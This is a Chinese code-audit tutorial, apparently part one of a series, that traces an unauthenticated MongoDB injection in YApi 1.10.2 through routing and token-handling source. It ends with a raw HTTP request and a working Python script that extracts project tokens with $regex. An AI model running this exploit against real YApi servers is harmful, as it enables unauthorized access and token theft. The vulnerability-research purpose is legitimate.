已经快有三个月没开公开课，在这三个月里面，我们进行了第一期的代码审计内部培训。
目前，第一期的代码审计培训，已经接近尾声，所以我们就又来开公开课招生啦。
第一节公开课 cs rce代码审计 java语言
第二节公开课 某bc rce代码审计 php语言
第三节公开课 某真实案例的靶场 rce代码审计 python语言+php语言
1.背景知识
本次跟大家一起分享的是yapi去年年底爆出来的从未授权注入到rce的利用链。
这个yapi在国内国外知名度比较高的一款api管理平台。我们可以看到github上有25.6k个star。
为什么我们这一期要挑yapi开刀呢？
最主要的原因，他是一套nodejs的代码。然后熟悉我们培训的朋友都知道，我有一个理论：
代码审计，与代码语言本身无关，考验的是对漏洞的理解方式和挖掘能力
从这个角度讲，语言只是工具，只要大家能够掌握核心的对漏洞的理解方式和挖掘能力，任何一门语言、一个框架，只需要花很短时间熟悉下语法，就可以举一反三、融会贯通，快速地通过代审挖掘、复现漏洞。这样讲，可能有不少师傅觉得我在吹逼，不过如果师傅们把我们每节公开课都认真听过的话，相信大家多多少少会开始认同这个观点。
所以我特地挑了一个以前没有讲过的语言来讲讲。
2.调试环境搭建
yapi以前我没装过，貌似在我的mac上比较复杂，搞了一个钟头都没编译起来。
所以我们换一种方式。
1.起一个docker MongoDB
docker pull mongo
docker run -p 27017:27017 -itd mongo
yapi的数据库是MongoDB哈，所以我们需要自己去装一个MongoDB，这次注入也是一个MongoDB的注入
2.yapi部署
官方文档：
https://hellosean1025.github.io/yapi/devops/index.html
这里我们部署最新一个有漏洞的版本1.10.2
然后呢，为了本地调试方便，我需要把安装好的代码从虚拟机上拷贝出来。
这样我们就把网站跑起来了。
然后还要进行一些基础设置一会才能利用，我们要先进去创建至少一个项目并且生成一个token。
然后我们试试调试。下个断点
可以看到断点正常了。然后我们正式开始代码审计。
3.代码分析篇
0x00 代码结构
一般而言，nodejs是web服务器和web应用是一体的。我们审计的时候，可以先快速阅读下大体的结构，首先确定web服务器是怎么起来的。
比如这里，就是进行端口绑定，绑定了端口的时候，说明web服务器已经准备好了，可以跑起来了。
那么，对于我们web代码审计中，最重要的，路由绑定是怎么弄的呢？
对于这种应用即服务器的业务，他的路由绑定一般是在服务端口绑定之前的，所有这一块就要看之前的代码了。
我们看到有一个变量叫做router，即路由。显然这是个关键模块了。
let INTERFACE_CONFIG = {
interface: {
prefix: '/interface/',
controller: interfaceController
},
user: {
prefix: '/user/',
controller: userController
},
group: {
prefix: '/group/',
controller: groupController
},
project: {
prefix: '/project/',
controller: projectController
},
log: {
prefix: '/log/',
controller: logController
},
follow: {
prefix: '/follow/',
controller: followController
},
col: {
prefix: '/col/',
controller: interfaceColController
},
test: {
prefix: '/test/',
controller: testController
},
open: {
prefix: '/open/',
controller: openController
}
};
let routerConfig = {
group: [
{
action: 'getMyGroup',
path: 'get_mygroup',
method: 'get'
},
{
action: 'list',
path: 'list',
method: 'get'
},
{
action: 'add',
path: 'add',
method: 'post'
},
{
action: 'up',
path: 'up',
method: 'post'
},
{
action: 'del',
path: 'del',
method: 'post'
},
/*
...
...
...
*/
open: [
{
action: 'projectInterfaceData',
path: 'project_interface_data',
method: 'get'
},
{
action: 'runAutoTest',
path: 'run_auto_test',
method: 'get'
},
{
action: 'importData',
path: 'import_data',
method: 'post'
}
]
};
看似定义了一堆路由api，以及一些控制器，但是又是如何把这些控制器跟api绑定在一起的呢？我们继续看
for (let ctrl in routerConfig) {
let actions = routerConfig[ctrl];
actions.forEach(item => {
let routerController = INTERFACE_CONFIG[ctrl].controller;
let routerPath = INTERFACE_CONFIG[ctrl].prefix + item.path; //控制器前缀+动作path = 路由的api
createAction(router, '/api', routerController, item.action, routerPath, item.method);
});
}
可以看到他会迭代遍历上面的routerConfig，routerConfig里面其实就是所有的控制器-动作的集合，通过迭代，最终将所有的动作与api的映射关系，传递给createAction去进行绑定
通过下断点调试，我们可以看得更清楚一点。
比如api路由 /api/group/add_member就会映射到
groupController这个控制器的addMember方法
并且可以看到，具体的映射处理是由createAction这个函数来做的。
也就是我们访问/api/group/add_member时，流程会先走到createAction函数，由createAction来决定要将下一步逻辑走到哪一个控制器（controller）的哪一个动作（action）
exports.createAction = (router, baseurl, routerController, action, path, method, ws) => {
router[method](baseurl + path, async ctx => {
let inst = new routerController(ctx);
try {
await inst.init(ctx);
ctx.params = Object.assign({}, ctx.request.query, ctx.request.body, ctx.params);
if (inst.schemaMap && typeof inst.schemaMap === 'object' && inst.schemaMap[action]) {
let validResult = yapi.commons.validateParams(inst.schemaMap[action], ctx.params);
if (!validResult.valid) {
return (ctx.body = yapi.commons.resReturn(null, 400, validResult.message));
}
}
if (inst.$auth === true) {
await inst[action].call(inst, ctx);
} else {
if (ws === true) {
ctx.ws.send('请登录...');
} else {
ctx.body = yapi.commons.resReturn(null, 40011, '请登录...');
}
}
} catch (err) {
ctx.body = yapi.commons.resReturn(null, 40011, '服务器出错...');
yapi.commons.log(err, 'error');
}
});
};
0x01鉴权过程
然后这次的注入漏洞就是出现在createAction里面的一个阶段
await inst.init(ctx);
async init(ctx) {
this.$user = null;
this.tokenModel = yapi.getInst(tokenModel);
this.projectModel = yapi.getInst(projectModel);
let ignoreRouter = [
'/api/user/login_by_token',
'/api/user/login',
'/api/user/reg',
'/api/user/status',
'/api/user/logout',
'/api/user/avatar',
'/api/user/login_by_ldap'
];
if (ignoreRouter.indexOf(ctx.path) > -1) {
this.$auth = true;
} else {
await this.checkLogin(ctx);
}
let openApiRouter = [
'/api/open/run_auto_test',
'/api/open/import_data',
'/api/interface/add',
'/api/interface/save',
'/api/interface/up',
'/api/interface/get',
'/api/interface/list',
'/api/interface/list_menu',
'/api/interface/add_cat',
'/api/interface/getCatMenu',
'/api/interface/list_cat',
'/api/project/get',
'/api/plugin/export',
'/api/project/up',
'/api/plugin/exportSwagger'
];
let params = Object.assign({}, ctx.query, ctx.request.body); //获取请求里面url参数和body参数
let token = params.token; //得到请求参数里面token
// 如果前缀是 /api/open，执行 parse token 逻辑
if (token && (openApiRouter.indexOf(ctx.path) > -1 || ctx.path.indexOf('/api/open/') === 0 )) {
let tokens = parseToken(token) //得到tokens
const oldTokenUid = '999999'
let tokenUid = oldTokenUid;
if(!tokens){
let checkId = await this.getProjectIdByToken(token); //如果tokens为空，将用户的输入丢给getProjectIdByToken
if(!checkId)return;
}else{
token = tokens.projectToken;
tokenUid = tokens.uid;
}
我们看到，当parseToken(token)解析token失败时，会直接将token丢给getProjectIdByToken函数
async getProjectIdByToken(token) {
let projectId = await this.tokenModel.findId(token);
if (projectId) {
return projectId.toObject().project_id;
}
}
继续跟进
findId(token) {
return this.model
.findOne({
token: token
})
.select('project_id')
.exec();
}
我们看到，这里直接将token引入去进行数据库查询了。
nosql注入
那么，这样的方式有什么问题呢？
其实，如果这里是字符串的话，是没有问题的。因为这种方式就相当于进行了格式化处理和参数绑定，在这个时候，是不会存在注入风险的。
比如我们输入的是
http://127.0.0.1/?token=test'
那么最终就是执行了语句
model.findOne({token:'test'})
但是MongoDB或者说nosql的数据库都有一个特性，支持传入数组(字典)来进行条件查询。
比如我们输入的是
http://127.0.0.1/?token[xxoo]=test
要注意这里其实传入了一个数组（不用纠结于用词，也可以叫做字典，在php里面这个叫字典数组?），那么最终就是执行了语句
model.findOne({token:{'xxoo':'test'}})
那么，能引入了一个xxoo，会有什么差别呢？
这是mongodb数据库的特性之一，xxoo在这里指代一个操作符，可以对后面的操作数进行条件判断
model.findOne({token:{'$ne':'test'}}) // token不为test
model.findOne({token:{'$eq':'test'}}) // token等于test
具体的操作符还有很多，大家可以从官方手册上看。
关于MongoDB注入的更多知识，大家可以去参看一些其他的资料。大概在七八年前，我在乌云写过一篇帖子，用的语言还是当时比较流行的php写的文档，大家可以参考一下。
如何传入数组
我们刚才说到，要构造一个应对于参数绑定形式的MongoDB注入，我们需要传入一个数组，来通过传递操作符的方式进行注入。
那么，如何传入数组呢？
其实这个问题，基本上取决于web应用所使用的编程语言和web框架，这里就要引入一个koa组件的知识了。
koa是nodejs语言的一款web框架，yapi就是使用koa来作为基础框架编写的。
所以yapi能不能接收传入的数组，取决于koa如何处理数组。
yapi中使用的是koa-body来处理请求中的body（弃用了koa-bodyparser）。
我们这里来看看koa-body的代码。需要动调一下。
当有访问的时候，会调用koa-body里面的requestbody函数来进行输入参数的获取。
return function (ctx, next) {
var bodyPromise;
// so don't parse the body in strict mode
if (!opts.strict || ["GET", "HEAD", "DELETE"].indexOf(ctx.method.toUpperCase()) === -1) {
try {
if (opts.json && ctx.is('json')) {
bodyPromise = buddy.json(ctx, {
encoding: opts.encoding,
limit: opts.jsonLimit
});
} else if (opts.urlencoded && ctx.is('urlencoded')) {
bodyPromise = buddy.form(ctx, {
encoding: opts.encoding,
limit: opts.formLimit,
queryString: opts.queryString
});
} else if (opts.text && ctx.is('text')) {
bodyPromise = buddy.text(ctx, {
encoding: opts.encoding,
limit: opts.textLimit
});
} else if (opts.multipart && ctx.is('multipart')) {
bodyPromise = formy(ctx, opts.formidable);
}
} catch (parsingError) {
if (typeof opts.onError === 'function') {
opts.onError(parsingError, ctx);
} else {
throw parsingError;
}
}
}
当输入方式分别为json或者urlencoded或者text会有不同的处理逻辑，处理逻辑的实现来自在co-body这个模块。我们跟一下。
以json为例，当我们使用
Content-Type: application/json
就会进入到json的处理流程。
此时我们的输入是
{"a":1,"b":{"$ne":"xxoo"}}
发现他会将我们输入的字符串进行一个JSON.parse，
经过JSON.parse后，我们输入的字符串自然而然的就变成一个字典数组对象body了。
0x02 注入利用
搞明白了nosql的注入原理和为什么我们能够传递数组之后，我们就可以开始构造poc了。
{"token":{"$regex":"^f"}}
我们使用正则操作符$regex来进行注入判断，这样比较快一点。
然后我们需要找到一个合适的api，帮助我们进行逻辑判断，范围就在这些里面
比如我找到的是这个
GET /api/plugin/export HTTP/1.1
Host: 172.16.134.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,de;q=0.8
If-Modified-Since: Tue, 07 Feb 2023 12:12:34 GMT
Connection: close
Content-Type: application/json
Content-Length: 25
{"token":{"$regex":"^f"}}
token正则匹配成功时
token正则匹配失败时
0x03 注入poc书写
据此，我们可以写一个简单的poc了。
import json
import requests
if __name__ == '__main__':
url = "http://172.16.134.1:3000/api/plugin/export"
token = ''
for i in range(50):
old_token_len = len(token)
for j in range(16):
token_try = hex(j).replace("0x", "") #0123456789abcdef
data = {
"token": {
"$regex": "^" + token + token_try
}
}
headers = {
'Content-Type': 'application/json'
}
# print(data)
res = requests.get(url, data=json.dumps(data), headers=headers)
if len(res.text) > 50:
token = token + token_try
print(token)
break
new_token_len = len(token)
if old_token_len == new_token_len:
break
然后我们拿着它去跑一下，就可以得到该项目的token
进一步的利用过程将会放到文章代码审计公开课|yapi代码审计到rce(下)中讲解。
原文始发于微信公众号（dada安全研究所）：代码审计公开课|yapi代码审计到rce(上)
